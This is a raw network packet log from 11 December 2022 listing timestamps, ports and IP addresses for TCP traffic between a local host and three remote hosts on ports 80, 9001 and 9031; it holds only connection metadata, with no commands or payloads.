Dec 11, 2022 09:26:41.099397898 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.099438906 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.099481106 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.099520922 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.099526882 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.099560022 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.099562883 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.099603891 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.099662066 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.099704981 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.099739075 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.099781036 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.099814892 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.099857092 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.099898100 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.099939108 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.099940062 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.099977970 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.099980116 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.100019932 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.100059986 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.100100994 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.100142956 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.100163937 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.100184917 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.100224972 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.100405931 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.102565050 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.102649927 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.102708101 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.102718115 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.102746964 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.102761984 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.102803946 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.102845907 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.102889061 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.102945089 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.102988958 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.102989912 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.109028101 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.109072924 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.109114885 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.109133005 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.109159946 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.109184027 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.109201908 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.109244108 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.109244108 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.111366034 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.111412048 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.111474037 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.124037027 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.124087095 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.124135971 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.124917030 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.124998093 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.125062943 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.125099897 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.125144005 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.125160933 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.125269890 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.125333071 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.125375032 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.125376940 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.125413895 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.125416040 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.125457048 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.125498056 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.125539064 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.125540018 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.125577927 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.125580072 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.125621080 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.125662088 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.125792980 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.126127958 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.126172066 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.126173973 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.126271009 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.126332045 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.126374006 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.126389980 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.126430988 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.126432896 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.126471996 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.126513004 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.126553059 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.126554012 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.126595020 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.128231049 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.128365040 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.128437042 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.128448963 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.128545046 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.128587961 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.128628969 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.128631115 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.128669024 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.128673077 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.128710032 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.128751993 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.128792048 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.128792048 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.128829956 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.128833055 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.128874063 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.128915071 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.128957033 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.128997087 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.129036903 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.129059076 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.129075050 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.129086971 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.129127026 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.132353067 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:41.160341978 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:41.225332022 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:41.260344028 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:41.260476112 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:41.262020111 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:41.300889969 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:41.307287931 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:41.351092100 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:41.351937056 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:41.389555931 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:41.389720917 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:41.390072107 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:41.390527964 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:41.451469898 CET	49740	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:41.497416019 CET	9031	49740	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:41.497606993 CET	49740	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:41.497925997 CET	49740	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:41.542437077 CET	9031	49740	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:41.543423891 CET	9031	49740	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:41.543678045 CET	9031	49740	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:41.543873072 CET	49740	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:41.544306993 CET	9031	49740	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:41.544416904 CET	49740	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:41.559448004 CET	49740	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:41.570255041 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:41.603012085 CET	9031	49740	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:41.604135036 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:41.607744932 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:41.623847008 CET	49741	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:41.652467012 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:41.667804003 CET	9031	49741	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:41.668641090 CET	49741	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:41.668864965 CET	49741	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:41.713872910 CET	9031	49741	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:41.714632034 CET	9031	49741	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:41.715048075 CET	9031	49741	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:41.716059923 CET	9031	49741	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:41.716100931 CET	9031	49741	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:41.716166973 CET	49741	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:41.716228962 CET	49741	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:41.730437994 CET	49741	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:41.744571924 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:41.774661064 CET	9031	49741	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:41.833746910 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:41.850171089 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:41.931145906 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:41.955128908 CET	49742	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:41.980798006 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:41.999640942 CET	9031	49742	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:41.999872923 CET	49742	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:42.000152111 CET	49742	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:42.044692993 CET	9031	49742	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:42.045800924 CET	9031	49742	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:42.046381950 CET	9031	49742	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:42.046577930 CET	9031	49742	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:42.046713114 CET	49742	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:42.062057018 CET	49742	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:42.075402975 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:42.105635881 CET	9031	49742	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:42.112426043 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:42.137089968 CET	49743	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:42.168175936 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:42.181202888 CET	9031	49743	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:42.181591034 CET	49743	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:42.181884050 CET	49743	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:42.226342916 CET	9031	49743	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:42.227605104 CET	9031	49743	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:42.227729082 CET	9031	49743	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:42.227880955 CET	9031	49743	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:42.228029966 CET	49743	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:42.228092909 CET	49743	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:42.262921095 CET	49743	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:42.273514986 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:42.306420088 CET	9031	49743	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:42.419389009 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:42.439673901 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:42.546411991 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:42.547437906 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:42.666366100 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:42.669466019 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:42.675165892 CET	49744	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:42.719557047 CET	9031	49744	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:42.719763041 CET	49744	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:42.720216036 CET	49744	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:42.764897108 CET	9031	49744	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:42.765985966 CET	9031	49744	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:42.766371012 CET	9031	49744	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:42.766773939 CET	9031	49744	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:42.766936064 CET	49744	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:42.800493956 CET	49744	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:42.811454058 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:42.844959021 CET	9031	49744	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:42.845637083 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:42.848678112 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:42.864495039 CET	49745	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:42.902780056 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:42.908905029 CET	9031	49745	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:42.912534952 CET	49745	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:42.918173075 CET	49745	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:42.962435961 CET	9031	49745	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:42.963726044 CET	9031	49745	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:42.963913918 CET	49745	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:42.964994907 CET	9031	49745	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:42.965385914 CET	9031	49745	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:42.965562105 CET	49745	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:42.965562105 CET	49745	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:42.987791061 CET	49745	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:42.998514891 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:43.031573057 CET	9031	49745	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:43.077486038 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:43.092710972 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:43.168571949 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:43.169500113 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:43.243911028 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:43.247232914 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:43.252861023 CET	49746	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:43.296967030 CET	9031	49746	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:43.300524950 CET	49746	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:43.300738096 CET	49746	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:43.346406937 CET	9031	49746	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:43.347373962 CET	9031	49746	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:43.347697973 CET	9031	49746	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:43.347763062 CET	49746	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:43.347956896 CET	9031	49746	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:43.348018885 CET	49746	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:43.363095045 CET	49746	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:43.374159098 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:43.407032967 CET	9031	49746	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:43.407713890 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:43.408938885 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:43.426537037 CET	49747	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:43.465111971 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:43.471343040 CET	9031	49747	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:43.471569061 CET	49747	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:43.471806049 CET	49747	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:43.515862942 CET	9031	49747	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:43.516797066 CET	9031	49747	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:43.517189980 CET	9031	49747	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:43.517353058 CET	49747	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:43.517627954 CET	9031	49747	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:43.517693043 CET	49747	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:43.532962084 CET	49747	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:43.544285059 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:43.576735020 CET	9031	49747	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:43.605737925 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:43.621819019 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:43.730537891 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:43.731719017 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:43.795907021 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:43.797986984 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:43.819709063 CET	49748	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:43.864633083 CET	9031	49748	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:43.868556023 CET	49748	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:43.868915081 CET	49748	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:43.913682938 CET	9031	49748	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:43.934664965 CET	9031	49748	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:43.934843063 CET	9031	49748	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:43.934932947 CET	49748	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:43.935266972 CET	9031	49748	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:43.935333967 CET	49748	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:43.955244064 CET	49748	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:43.966536045 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:43.999198914 CET	9031	49748	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:44.000663996 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:44.003662109 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:44.024919987 CET	49749	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:44.043339014 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:44.069140911 CET	9031	49749	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:44.069319010 CET	49749	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:44.069683075 CET	49749	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:44.117803097 CET	9031	49749	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:44.119119883 CET	9031	49749	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:44.119205952 CET	49749	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:44.120121956 CET	9031	49749	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:44.120204926 CET	49749	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:44.120565891 CET	9031	49749	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:44.120620012 CET	49749	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:44.121510983 CET	9031	49749	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:44.121575117 CET	49749	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:44.145704031 CET	49749	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:44.158725977 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:44.189328909 CET	9031	49749	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:44.213427067 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:44.258608103 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:44.313126087 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:44.321814060 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:44.375911951 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:44.378149986 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:44.386367083 CET	49750	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:44.430540085 CET	9031	49750	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:44.430802107 CET	49750	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:44.431454897 CET	49750	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:44.476195097 CET	9031	49750	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:44.484287024 CET	9031	49750	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:44.484396935 CET	49750	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:44.485508919 CET	9031	49750	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:44.485596895 CET	49750	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:44.485801935 CET	9031	49750	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:44.485881090 CET	49750	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:44.501173019 CET	49750	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:44.511548042 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:44.545042992 CET	9031	49750	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:44.545906067 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:44.549190044 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:44.569199085 CET	49751	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:44.590270042 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:44.614186049 CET	9031	49751	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:44.614423037 CET	49751	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:44.615205050 CET	49751	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:44.659043074 CET	9031	49751	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:44.659997940 CET	9031	49751	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:44.660382032 CET	9031	49751	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:44.660455942 CET	49751	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:44.660809994 CET	9031	49751	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:44.660866976 CET	49751	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:44.676335096 CET	49751	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:44.687920094 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:44.720248938 CET	9031	49751	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:44.754767895 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:44.769730091 CET	49739	9001	192.168.2.3	84.62.245.6
